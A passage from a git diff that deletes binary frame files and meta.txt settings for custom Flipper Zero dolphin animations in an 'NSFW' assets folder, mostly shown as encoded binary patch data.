z^wPGoU~y0?U+@2?V?l*d`&}z7Y#cHQ22>t3&m>o&w6$uvTV?rFHGlukiW4X3((awV z?%Dzn9;Z_Oe8g0%@~GA8RsOcX!Q)l+$M*UiZl{G(zk2`uwE*Zfzpp)#t5xYm1Ecl- z?d|zK)vNm*iq&OWs05P#_y6_#TI#k}|5A`;@fryx2Y>rhjbCfJ>i_;wX(W~a?j8GB zZ~NM>U-ciLNGiUFBol-WFaKKYt^Yx25S@5#AQ=w0Jiqtv?fww56kx<47!LpRAbDFAzlG;*p?mzI2EV zgQtI=`~l?!q(CE6NHCCa9=rVe@DC~s0}wkHgn|)(^#9|*^NBz_6!-vqU>uLn{<-`I zlm-C-iU7t%6~J;o`QT{#!Q(}UUjjn_i1d1&@bPzl;*o-CN<%=Gae?9hFYtUx!^MF@ zC3)KCksO2atH5G33+?9i8V~|VIuSd5R#DdLeg1&cCyXEcM9kl^|G6*pKHvX@mJeyN R{p(tf*fjv7f3Ev#-e9t3-!A|F diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_12.bm deleted file mode 100644 index 269511b93600aff78a1639afb12a9d406b0610fa..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 939 zcmV;c162G00H*_}YN=5u6a(>JfWRPN^rcdAxL}@{hnE zl1K&zNdS^%akU6c1O5O1z%l~ks#JgjCLf46fADxl3K0;cP-vA{PNoHr2bBInDS!qC z5mJ>@q)?ndJiT-X1P22Us8TsPN<@Q%4=YTLsy-YhDhx59%MNp%E@5yO3 zSq{g1OqTPjkHmg|?PWnq^}_&jg7z1etw6~3&0NhHwx0pnyKmKLRnfc_{DKzZN+}_>i%A?swsrf6UBNU^s2_8FkJ!tuBMnjRV?$r7Vq7n^o4r!N&snf9rOdgdz*Bp>1Zs^T312)-)Xk zlC`UrgNlJt{}YE}C52Ud-78gW`g)*v`#g}IhN`8jqW?j|B)DaN|CkjfuhokDwO_2T ze5o2+{qs>0ugWUDKHvX$69Xp6U`U^mW@Vbx6J_!VNh7UfyTibtt zVQ3H-!d!{M02}@P`+tN;CKM}67-%2==shjSFwpadKGI>G&(n{U`U;EPio8|yLg%%BHu>I>> NKx+QLLt6IL{lM8Y#WDZ@ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_13.bm deleted file mode 100644 index 963a0f0bba9758f0355e7135a99347a243855c9c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 935 zcmV;Y16ce40HXt_YN=4D3uz32!&FS$)Zwq9{_n;WOY&S;WQa3RHh*r2aosb<*h+K(z#3!pfM^e zbMgQE-f=k2n2=yPnw3_I2&aMv^E&lipdJ70enBLp!a6wcc;2?PS!z^o|NSi{t5xE4 z!Q*|s>tiqv=B~vLsbyeaFE~7RcdglYe;sc1e@P_DelFng{r&#Ycn-sF)zy>+1Na}2 zz<-Is@PBUey%s7}{(=7^_xSZu8a@E9)#{Zj7xDxAeuw~M5Dox5cl0eRQ~FpK7_dMD z4=enVB_W>!$080edH?EET2x@rGzcI(@Bs3nWgwB*1>-0mKzVQKwLR=M0dSPSLG6G2 zfW{vHm{CLS!5`nc4FK6jh4F%tRbcoEgoqy-T~}!sISEib{q!oVmIpwfML~j5AbDlu zTCda&DXE1A-nZq-#bGcUk~nAp^{U3SUaE}}qAw+S@-6lr2=4&|JOW_ohDalRi^gA!vyGMfB&5oCaZM(_ z|6{owRZ}!@AOF|?x3}x{TCe?1MNP$MDi}}y-~Vsw+Ph;>`a-hO2m~u4h84K)>bl?5 zet{s8bs&;XkUYQkt?h6B1;AoDT_^;@1P?l{udV-p#U)TJB!e4;2cLb$H~0n?feEZ3 z$0AM;0bjqf{6vFcK+wQ67!UvSAb+h6k>)vn{+Idw53T?6MT2TAojQ)F9KXN+ J-nsp&{eX4-xe@>X diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_2.bm deleted file mode 100644 index 3d40185b02355fe1ee786e35c586ab1b9561ccfd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 921 zcmV;K17`dI0F?u%YN=5uOalSm1dI$Gl&VZeO9}^%{2Dm`Fn|WBlB!Cj703qz{~v%s zC={HP69Xj5(5SHRd4I#>1P=^CQBu`KB~)k!fF3Y-L_i)mDh4A-qM}9MUO;%y>Q|=szEu&nH>S5)1}IqN!B4l=!Fn`?}d)paAi&(lnV!C!#;9|K4V{TC4;8fB)nq zHC<1Oe~AD7|5d4M1Nq9;L-bmx7vg{3|KD!AxU2*5Tk6;9l$@u+f6ot({_J%hh2O8U zq~%~=%746)Kfm*Yd;|fP)TuH}><7IMzsDsA!BUUjx1`BLr-gwHhydKBf1yb!G2_6% zLGRzhQlL=K_~b$F|EXkU5P*2l8AJda06d?gLW00A*+BXO&Z||fgU0nK2fD;S0|$Ui zsX+MO{{Nuy*+hZwKhR2)0|1pa#2(%GZC6^18j~zZ??Td53FCr=0|g{N^2>^b_8%Qk z{xyAFRazAZsfWgZ4_REQBdL`@DMR&Fl~#*H%GRniC|Eu8Q3(~^uLRYT$N*3Azx8NU z3TC!}(u)Jyf2x!~h2xdgJcIyHPlx|EqI4Frk+Yiv&I9=W*5VZiluL7x)k{I=q5psT zJ_rp0lWMB!>cHZlMN7lf>O!iOUgoN$dk2<+tN;Aqq*Z>7ma(h$>zAci>fi5`46eRO z72Ha{f6}pay;1$Y2U{uS%CFsD?yep#9k1)pWRBH-P)L>k*Z;NMU^S{=_BV;JMQKtB zC;#pJ@Am)QUDL2)8Tv+p5al1=|6i`E+xdU{g%(L5fK;_dVgCR3wPEnb=nxGzQUL`I zh&*rhzi(^(2arlBJ{SbU3J(wf_jOfo{0bQrfoUKStT?>t`oCBH0fOK_st9qwdBg|4 z|4-ZlFtBPt#sD~jC;#}|n@%i89-vD_*L*o*?L7)(f z2ao?h{1l0#IS3>IAdnmfhyNZAoC<;9<-j21LI;d<_zx%uC}Y4OkVbHx5B_i(KJ)N^ z2G|2AF9U#HFc828qp8S1C>gFd0Q!CLc;F~j7z`sfJiZIW0D!T};f!N_^xgj(@OnTz v61`ONq1x?T|3LF6j30dvtMBFi{IBtPpRf@8C~#}1hv#b950oHP&+QM~hp5E> diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_3.bm deleted file mode 100644 index 94f5ba9779db0e6c4c773dcd86adab1dfb1f13bf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 929 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 CSiFe< diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_6.bm deleted file mode 100644 index 6df50f8e3a2e2078925852671807e741b7f5c5c7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 912 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 L{=h>tw$=T>N8iPf diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_9.bm deleted file mode 100644 index aeca3a6fbe84b4c672c5695c8213124676e7a296..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 935 zcmV;Y16ce40HXt_YN=HyR09Fu1dI$Gl&VZdODTYGKj6`%LSPXH1ydzdrBWfl@{hnE znh7QcNq~}Na#<>HJiqV>1Qc9VDwe8=B#S^i0P%yu0iy_|LMWP;l~zvz@&m?xSr`Ti z0ivl=hNDLhpR7DEA(+r96zb=et$QfPP4`&7!FrODw60m^pE%Ub+WZUKmXnQgHck%`6KbK{pV{{j=(?H{{0e5 zRgro({LlUF_pPbGKbpHNzL80U{Ac>_{`U2|jzB*ZZq9E@QjvZq{Qv*&@AiYhb{l@Y z-ldhoe=+{@$p3%QG^qb?wY?=OCA@(5q5Jssp&BYuyVSB&N$Fr@ZK41Rl&kbYc*lM(k5>xfhS#4|@0eaMf-v9dn zj2;0peGolo`~P3~mOCntJ@@(vq*NX?DJZ@rdS6ry0g8$P-(N)32YA4{iRc1p=Z~YMQb7K|Y`O+=i(DlUh|N3eaod&C^s@2zl=SnXQv(o{pRdrQfPpBSN4B!9rLV;`Y8e6AV^|l9IR*Z;Xe=PyK+Xl?9}$r1s^9noQc()fLNQq|`PJ(EP08#k_0-@xYP$VGn|KG#~|A)Xa5Kb+p5eU$H@ALnF zJfN_N1wyF?7Y+mG|DS#VET diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/meta.txt deleted file mode 100644 index 43dd6af5a..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 14 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_0.bm deleted file mode 100644 index ecec4cd1b7874d811cbeabc318767d945615965e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 526 zcmV+p0`dI;015&C6bJ-95C6t~10Vc<5Dz#AJpVucfIM&TKv`e{L<2fr`i; zzu)}+0r>yJ;DE891JHOtQlG-XV;~2#J^{c2kSt;V_`m@N@(UQiJcl9x7&tus;IV`Q z+6D#?AoIY2QXqOBhzL9M@&n|aLUIS77{9<%3y?hT;Py`(1NaY=@q^7=ApZj*xdHaB zGI_Iv9;)L9oLnBt;|H8f9?IhfoFpE~;|G|W!S8_kqlL`M0 zz5~h;=D@&V9{_pKBiG=0mV_QZfO-)~9!0?ikMJH~0Y4lN9!Zf0r#>E=C=@^jFi-eA z{0QTKiv$KdKzc|&4`qNr{DAZn2mr7}0f0ch0QrXl$_@GlqirgH@`64D9$57RRgIvN8|nn QzQPX97#I8D%mF9ZMZkN7|T_&kswADREa9x?h5EU*AF4UhC9Ao2f#&VUbZ{0Hzb z7ziw60Q3M56r=D!Si}MCKOBh!fnx{l3c;$o=6V^|9=D-7@`ScVF)~D>T?IM zXhGv22ecp_K%p=UJRZh_fJ!9aK$Y0im05E#dx6nEQ(E;TT z0+tVh17a&wUcv<{4~7P=5PJqiz)=U`a0F%#5NN5CK4eq8AWwwn!eY5-%7$(82&%LbQIM_ZEo6U|$YD1Rmgdjn4-F diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_2.bm deleted file mode 100644 index 09f6598f941824243f9c314350ced822bb50f20d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 502 zcmV!0;da{umZ8KzoM72tcuc1KbQh;315N9+&Vi zlms3p;|HYt9;f36qM&E2p?e42kc-U(7=BrgdbqhK?pqm0QA6f&|(D;eAp)tM&Se2 z{+}#_atMqtdNqZ3P{?pRq5$*`h&-?mabW}1xNwLB7#`or_&nfp2p}+l=spm5mdX$h zczP^}V+a5UJ)q$9fdhyhrQv{aB_Q%x2t7Z`!;u5VAP*;qgUAL@i7-7d1)_jof#)O# zlc<5`1|yvDL}#RBlU#&@0f+=g{(2`_00%(<01RRU;0MKklqy2_CX613bAZ6V!Sf6d s0RZEI|AXOHLm}aV@{(t-Ef#!}deZhh5cOZS=!R-YH z?g4yg^H&g9!SSC5tpFZ;4>%xk;PsFPju0O#I6Yzxjoc~8p*4=4~kp#UNO$HDCZFPH#-&~SS|7Q~V- z^a(Q|1Mc8tAbp2KAE40(pWq(|AqVNmLHcqKet||X51+tvK%>dq_Ocd;?JyqUI2J zR3Xr3;RDtVDL60`LGBF@2*EfG!w0Ek;F<^-uz~4+HKafu|Kf0>M7A*lc!TJ+B>@Hy zJt5%oC5#jw27{Im1_;g=0BC{Z0|AZ@mLT)+1I)Z|NRT~00P_Ky0wxa;*(ymEWO9gu z$_2m }fNC>OvV84LW6k|AFTM2l0r3=?4d@ z2*L0C2a-6!=>rG&JyXUHLOBD?JYe@=2s}~74?r;k?|u(t@q^F44`?twso?fA5Ird1 z^}qwo@L&5FJ(T>>3bw$HDCg z2aqUC0}ltZ5FSe+|G~lS0tb@FpP~9HVKf(Hj5PAO`!VgFg6oKm>1eQYnv@ijK){Xvw&=!afD0mdG zd>9&dLFxW`2o$Wo5PZPPB-R)TxOf1O2beTqBoW2~%is@F$r8o{BQL-_&%zHO*n`EK zCNT$@IK^WD2aW)8KmqxM3Izz@6w81QJO{)GK=B|91_|H?rSL{rC?GtWBo8uiKp~J| zc#VZpAoAcVP9zT`*uDfFW;3x1$=)FKai0meP)-m%7^DCn1Yis>?~p!XmIQ#pe?a+y sa1sQ_5P60K07S71kT^l`@hFA^z7G&lHADcg&jkD*0?`<&|AFVg__+=PFb9(1JPgx;1j+-z z2c>|#aw7pigCf{a0b>E@@CTvffCG&K6cg|diUl|fP;cU;00%(+0SXfM5P7CZ9xzBW xAucX~2e~X^5J>^JLFoixnD}7P18{@kWGdl;d_I5RdBA{V4Hj^~zaI`@J;2Ap*(3k} diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/meta.txt deleted file mode 100644 index cf387b42f..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 6 -Active frames: 0 -Frames order: 0 1 2 3 4 5 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_0.bm deleted file mode 100644 index dacc6be35193b5d523a602457ac67dfd94a69c2f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 551 zcmV+?0@(cl03!nbfII=<4*(Ybf&?h|{-i%(7{kHy;P`)lg9iu1{=xYBgYF+N{(r&) z0|kr_9v&_Gn4j6Vn%lIs85#Sj7 z0p)?=hR5I!CmD03;Q(2qYwwUxa9u`dfcE4 z;s6VrNu&=L;6CRZ2w=E@@qdm`AdvulPr>91FnmTJ5Jg#F0q-A$z%Y}*c>|6CvYQ5fHNYHoeS}S z{{G|q7ze;!SHO_K_tX3b`_Vt~1JMLO3%wj*D&fE3ARj?^gUk7eAQT_{|K`B|!SjLd z%jJND_&@vo7(DC{Fd+lR1`iwij78<(fWm?0pf!pFKmr;s1_lZbFF{0s>%eau0y+0r&rB pkQmZt4?sYJ_6~axGK1LCKfrzxL=2Pgd;j=g{s1sPz#ahb0RW(&`Q!iq diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_1.bm deleted file mode 100644 index cf189cb368ded2805b58f81ffc94acac3949439a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 559 zcmV+~0?_>d04oCjfII=<4*(t<22=6@$iz!K7WWQILqU~2bcIBUI=+uS*O4im3SU;{=hu( z_zVa=a2Nl0IKQ|21Oz}a;Cg>S!+-c+_z(bi!Ig*nFB3FCA`gLaSHa`pzygFH9`Jbl z0Yndrz5*xU2i>OuARmYTU_kTi6Ut~j93Vaa0rIi|hd2+b{m5)U`>|jkST*?r((q6j z{Q?09{sYJaLG+)%C>4(byr3rotbD)m@Ob7tV4@GJd_m*Dj$fNZ4@$tiLFG@sL;!*g zI0fKi}Q|4FkY`!9(~8j2`g^fM2ga{$vlp4=)4+3OQkb|GNMD$UV9cct|{Hm+$=U z9K;oP;35CWAwc^H5yO9h=NG;l4iE4Lj5|1 z4749G;Bi6#;tzpwU?zYv2flckKw<}~pi?3O6_|tW9{_y_0Dg|q0+`@D;PRM$6Jiffc&^5ULkGWO@Bh!kje^Gz zdu{{ckAi48Nbz5Yz3K48(C@+JKqs|65eSLL8|8opqWnq20Q<%j!VX9Wus|U3jB(@a zq6eq=z98}VKx6QT0Qmvq{Rf;tK1m}04gP))DTcxx9T|W)@E`x*?hY#-fPAMA2r&?$ z|F4`pG9dEc0EOsZj6eJLkGQ}*6Yx;afrA78|FEB*)PBYZ75Q8MqkDnCa25W%{;ZV{ zdVjE`0-yiC{OAw#9$W}1P=Vto;eYq_79g+3frE#G%7F(t5C7^9H+aCo<=`NQFhB$k zE($>X5FmPn$Rr>Fu7HFebx2q~Kt+(31jrun;1K@=W)DXoz$3`QAs9UmW&UdjRDtvb zKzl049zyvCkQ9ORr%-%P)ann5{0o3~V0yF%z-C~3{07Jmh#&B5fcOA29D(=%@CSeh DuWkkk diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_11.bm deleted file mode 100644 index dacc6be35193b5d523a602457ac67dfd94a69c2f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 551 zcmV+?0@(cl03!nbfII=<4*(Ybf&?h|{-i%(7{kHy;P`)lg9iu1{=xYBgYF+N{(r&) z0|kr_9v&_Gn4j6Vn%lIs85#Sj7 z0p)?=hR5I!CmD03;Q(2qYwwUxa9u`dfcE4 z;s6VrNu&=L;6CRZ2w=E@@qdm`AdvulPr>91FnmTJ5Jg#F0q-A$z%Y}*c>|6CvYQ5fHNYHoeS}S z{{G|q7ze;!SHO_K_tX3b`_Vt~1JMLO3%wj*D&fE3ARj?^gUk7eAQT_{|K`B|!SjLd z%jJND_&@vo7(DC{Fd+lR1`iwij78<(fWm?0pf!pFKmr;s1_lZbFF{0s>%eau0y+0r&rB pkQmZt4?sYJ_6~axGK1LCKfrzxL=2Pgd;j=g{s1sPz#ahb0RW(&`Q!iq diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_12.bm deleted file mode 100644 index 42a5184d671a08042c9b29aea0d3f11e90868293..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 547 zcmV+;0^I!p03QPXfII=<4*(Ybf&?h|{=7a=7{kHy;JAN)g9iu1{=xYBgYF+N?tj7q z0|kr_9t&W6{EJ~07#1I`16|3L5;@L1R* zz%lp(%L9WJ5Imq0@DTa|<-za+3VaVM@Cbgv^OP#c7EllIc|Z0a0<44Q_=ornCnNYK z$kssdzwQI)Gw>IL9-I%DIRDlE1P1{D2d3OyRsYm~;0q{2vEl!S{lFAafP2aQ5c}Xg z|Af;AsJ#K_IN(D!0s6nkC=g8mey8B_z=P~iFi$wXqwu%}6Zju}U_7I`4ljUT9KZg4 zArOOq;2@#K3)>$0EyNAJp!0nUL)|b16c{E@4`<*WQVeu_6i^`f-vj61$;bErp$`~* zLFq7`14jT-B1r?z!C)7RBj64=27De;0RYdyL;gS>10Ihe;P5Ztq5MEE07Ah3|8f2d z1KHY)x$e;Lu=usbs-V7BV_Im$>2ao+8f5=IQa2S90|C%QddEvLfLcl`( zAN~G}9w)+vDGZ8V`~R%SAo7GkLFJ%;=mCNNC1GY52WSw8J>v=Uj)U3`4_!nk1|au{ z0ER)`36MP+f)78$EFV_~X%LJahqC-YcmYxev%o>(6+nC7AYk%q7(GEF1^xr=pg{6l l7(Ia^)DV571uVe!kFC%jH}|-mlpeqZ2l<$R`T+0;fCzwk`ZfRn diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_22/frame_13.bm deleted file mode 100644 index cf189cb368ded2805b58f81ffc94acac3949439a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 559 zcmV+~0?_>d04oCjfII=<4*(t<22=6@$iz!K7WWQILqU~2bcIBUI=+uS*O4im3SU;{=hu( z_zVa=a2Nl0IKQ|21Oz}a;Cg>S!+-c+_z(bi!Ig*nFB3FCA`gLaSHa`pzygFH9`Jbl z0Yndrz5*xU2i>OuARmYTU_kTi6Ut~j93Vaa0rIi|hd2+b{m5)U`>|jkST*?r((q6j z{Q?09{sYJaLG+)%C>4(byr3rotbD)m@Ob7tV4@GJd_m*Dj$fNZ4@$tiLFG@sL;!*g 